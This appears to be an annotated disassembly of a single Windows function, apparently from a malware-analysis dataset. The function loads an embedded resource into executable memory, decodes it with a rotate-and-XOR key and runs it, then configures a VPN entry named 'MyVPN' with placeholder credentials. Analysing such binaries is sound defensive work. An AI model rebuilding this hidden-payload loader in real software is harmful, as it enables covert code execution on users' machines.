Function at 0x402820
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
xor edi, edi
push edi
call esi
push str.VirtualAlloc
push str.Kernel32.dll
mov ebx, eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xa
push 0x3c1
push ebx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x402e3b
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push ebx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x402e3b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x40
push 0x1000
push esi
push edi
mov dword [ebp - 8], eax
call dword [ebp - 4]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x402e3b
push esi
push dword [ebp - 8]
push ebx
call fcn.00406570
push 0x2faf080
call fcn.00409ca5
add esp, 0x10
mov dword [ebp - 8], eax
test eax, eax
je 0x402e3b
push 0x2faf080
push 0xff
push eax
call fcn.00406af0
add esp, 0xc
xor ecx, ecx
test esi, esi
je 0x402911
nop word [eax + eax]
mov al, byte [ebx + ecx]
ror al, 3
xor al, byte [edi + str.wbsrujpwmwrvq]
mov byte [ebx + ecx], al
lea eax, [edi + 1]
mov edi, 0xd
cdq
idiv edi
inc ecx
mov edi, edx
cmp ecx, esi
jb 0x4028f0
mov eax, dword [ebp - 4]
call eax
push dword [ebp - 8]
call fcn.00409c8a
add esp, 4
lea eax, [ebp - 0x10]
xor esi, esi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x20], ebx
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0x1c], esi
push eax
push esi
push esi
push esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], ebx
call 0x400000
cmp dword [ebp - 0x10], ebx
jbe 0x402a7b
push dword [ebp - 4]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0xc], edi
push eax
push edi
push esi
push esi
mov dword [edi], 0x214
call 0x400000
cmp dword [ebp - 0x10], ebx
jbe 0x402a69
add edi, 4
nop dword [eax]
mov eax, edi
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
mov dword [ebp - 0x84], 0
movups xmmword [ebp - 0x98], xmm0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4029b3
sub eax, edx
lea ecx, [ebp - 0x98]
push eax
push edi
call fcn.004010d0
cmp esi, dword [ebp - 0x18]
je 0x402a01
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
movups xmm0, xmmword [ebp - 0x98]
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x88]
movq qword [esi + 0x10], xmm0
add esi, 0x18
mov dword [ebp - 0x1c], esi
jmp 0x402a4e
lea eax, [ebp - 0x98]
push eax
push esi
lea ecx, [ebp - 0x20]
call fcn.004011e0
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x402a4b
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402a41
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e46
push ecx
push edx
call fcn.004052f5
add esp, 8
mov esi, dword [ebp - 0x1c]
inc ebx
add edi, 0x214
cmp ebx, dword [ebp - 0x10]
jb 0x402990
mov ebx, dword [ebp - 0x20]
mov edi, dword [ebp - 0xc]
mov dword [ebp - 8], ebx
jmp 0x402a6b
xor ebx, ebx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, ebx
cmp edi, esi
je 0x402b00
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x402a8b
mov eax, dword [edi]
push dword [edi + 0x10]
push eax
push 0x425e80
call fcn.00401400
mov dword [ebp - 4], eax
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + eax + 0x30]
mov ebx, dword [ecx + 4]
mov ecx, ebx
mov dword [ebp - 0x10], ebx
mov edx, dword [ebx]
call dword [edx + 4]
lea eax, [ebp - 0x14]
push eax
call fcn.004016c0
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov byte [ebp - 0xc], al
test ebx, ebx
je 0x402ae3
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 8]
test eax, eax
je 0x402ae3
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
call fcn.00402660
mov ecx, dword [ebp - 4]
call fcn.00402440
add edi, 0x18
cmp edi, esi
jne 0x402a81
mov ebx, dword [ebp - 8]
mov eax, dword [str.MyVPN]
xorps xmm0, xmm0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x38], eax
mov al, byte [0x41b48c]
movq xmm0, qword [str.vpn.example.com]
mov byte [ebp - 0x34], al
mov eax, dword [0x41b498]
mov dword [ebp - 0x78], eax
mov ax, word [0x41b49c]
mov word [ebp - 0x74], ax
mov al, byte [0x41b49e]
push 0xb4
movq qword [ebp - 0x80], xmm0
xorps xmm0, xmm0
mov byte [ebp - 0x72], al
lea eax, [ebp - 0xe28]
movups xmmword [ebp - 0x68], xmm0
push 0
movups xmmword [ebp - 0x50], xmm0
push eax
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x33], 0
mov dword [ebp - 0x70], 0xf
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x71], 0
mov dword [ebp - 0x58], 4
mov dword [ebp - 0x54], 0xf
mov dword [ebp - 0x68], 0x72657375
mov byte [ebp - 0x64], 0
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 0xf
mov dword [ebp - 0x50], 0x73736170
mov byte [ebp - 0x4c], 0
call fcn.00406af0
push 0x764
lea eax, [ebp - 0xd70]
push 0
push eax
call fcn.00406af0
push 0x570
lea eax, [ebp - 0x608]
push 0
push eax
call fcn.00406af0
lea eax, [ebp - 0x80]
mov dword [ebp - 0xe30], 0xd98
push eax
lea eax, [ebp - 0xe15]
mov dword [ebp - 0xe2c], 0x13
push 0x81
push eax
mov dword [ebp - 0xd74], 1
mov dword [ebp - 0x60c], 1
call fcn.00409c30
add esp, 0x30
lea ecx, [ebp - 0xe30]
cmp dword [ebp - 0x24], 0x10
lea eax, [ebp - 0x38]
cmovae eax, dword [ebp - 0x38]
push 0
push 0
push 0x1a44
push ecx
push eax
push 0
call 0x400000
push 0x428
lea eax, [ebp - 0x4c0]
push 0
push eax
call fcn.00406af0
cmp dword [ebp - 0x24], 0x10
lea eax, [ebp - 0x38]
mov dword [ebp - 0x4c4], 0x840
cmovae eax, dword [ebp - 0x38]
push eax
push 0x101
lea eax, [ebp - 0x4c0]
push eax
call fcn.00409c30
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
cmovae eax, dword [ebp - 0x68]
push eax
lea eax, [ebp - 0x2bd]
push 0x101
push eax
call fcn.00409c30
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
lea eax, [ebp - 0x1bc]
push 0x101
push eax
call fcn.00409c30
add esp, 0x30
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 0x4c4]
push eax
push 0
push 0
call 0x400000
push 0
call 0x400000
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x402d0c
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402d02
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e46
push ecx
push edx
call fcn.004052f5
add esp, 8
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
cmp ecx, 0x10
jb 0x402d52
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402d48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e46
push ecx
push edx
call fcn.004052f5
add esp, 8
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp ecx, 0x10
jb 0x402d98
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402d8e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e46
push ecx
push edx
call fcn.004052f5
add esp, 8
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x402dda
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402dd0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e46
push ecx
push edx
call fcn.004052f5
add esp, 8
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
test ebx, ebx
je 0x402e3b
lea eax, [ebp - 0x20]
push eax
push esi
push ebx
call fcn.00401170
mov ecx, dword [ebp - 0x18]
mov eax, 0x2aaaaaab
sub ecx, ebx
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, ebx
shl ecx, 3
cmp ecx, 0x1000
jb 0x402e31
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e46
push ecx
push ebx
call fcn.004052f5
add esp, 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.00409bdf
int3